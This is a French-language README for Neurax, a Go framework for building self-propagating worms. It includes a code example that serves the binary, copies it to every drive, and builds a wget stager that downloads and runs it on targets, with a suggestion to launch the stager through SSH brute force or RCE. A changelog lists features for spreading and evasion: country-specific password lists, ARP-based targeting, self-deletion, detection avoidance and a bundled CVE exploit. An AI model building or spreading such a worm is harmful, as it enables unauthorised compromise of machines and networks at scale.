Un framework qui facilite la création de logiciels auto-propagateurs
Aperçu
Avec l'aide de Neurax, les binaires Go peuvent se propager sur LAN/WAN sans utiliser de serveurs externes.
Des options de configuration variées et des stagers de commande permettent une propagation rapide dans divers environnements sans fil.
Exemple de code
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Spécifie le port de service et le stager à utiliser
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Démarre un serveur qui expose le binaire actuel en arrière-plan
go NeuraxServer()
//Copie le binaire actuel sur tous les lecteurs logiques
NeuraxDisks()
//Crée un stager de commande qui doit être lancé sur la machine cible
//Il téléchargera, décodera et exécutera le binaire
cmd_stager := NeuraxStager()
/* Maintenant, vous devez exécuter d'une manière ou d'une autre la commande générée ci-dessus.
Vous pouvez utiliser un brute-force SSH, une RCE ou tout ce que vous voulez ;> */
}
Nouveau dans v. 2.X (sous-projet séparé)
- Refactorisation : abandon de l'approche framework au profit d'un binaire prêt à l'emploi
- Stager générique wget pour toutes les cibles UNIX
- Fichier de configuration unique pour ajuster le comportement du ver à la volée
- Auto-suppression via
unlinkat(2)
- Exemple d'exploit CVE LinuxKI pour compléter les capacités de propagation réseau
- Le fichier de configuration JSON est téléchargé et évalué
- Réécriture minimaliste du récupérateur d'hôtes
Nouveau dans v. 2.5
- Exécution optionnelle en arrière-plan du binaire de deuxième étape (
N.StagerBg)
- Le stager de commande sauvegarde et exécute dans un chemin local au contexte
- Il supprime également le binaire téléchargé immédiatement après une exécution réussie
- Suppression du mécanisme d'exécution synchronisée des commandes pour des raisons de rapidité/stabilité.
Je trouverai une alternative convenable d'ici la prochaine version.
N.NoInfectCheck pour désactiver la vérification si l'hôte est déjà infecté.
- Politique d'exécution unique sur la machine cible, appliquée avec un mutex de fichier exclusif placé dans
NeuraxServer().
- Ajout d'une goroutine imbriquée pour servir le binaire
- Nouveau stager
httrack pour Linux
- Liste de mots commune commentée pour éviter la détection
- Le stager de commande peut attendre avant de supprimer le binaire (
N.StagerRemovalDelay)
Nouveau dans v. 2.0
- Nouveaux mutateurs de liste de mots + mots de passe courants par pays
- Scan passif improvisé
- Option
.FastScan qui rend les scans actifs un peu plus rapides
- Les listes de mots sont créées strictement en mémoire
NeuraxScan() accepte une fonction de rappel au lieu d'un canal comme argument.
NeuraxScan() scanne en boucle infinie avec possibilité de définir un intervalle entre chaque scan de tout le sous-réseau/ensemble de cibles
- Recherche DNS inverse pour les cibles qui ne sont pas au format IP
- Extraction de cibles candidates depuis le cache ARP
- Possibilité de scanner uniquement une liste sélectionnée de cibles + priorisation de cibles spécifiques (comme les passerelles par défaut)
- Possibilité de spécifier l'interface et le délai d'attente lors de l'utilisation d'un scan réseau passif.
- Stager de commande amélioré (peut être exécuté optionnellement avec privilèges élevés / plusieurs fois)
- Quelques changements de noms d'options
NeuraxConfig. est devenu N. (car c'est plus court à taper)
- Fonctions pour l'allocation aléatoire de mémoire + migration du binaire
- Possibilité de chaîner plusieurs stagers (ex.
wget + curl)
- Le volume et la complexité de la liste de mots créée peuvent être facilement ajustés (avec des options comme
.WordlistExpand)
- Possibilité de définir la durée de vie du binaire créé
Liste des entrées de configuration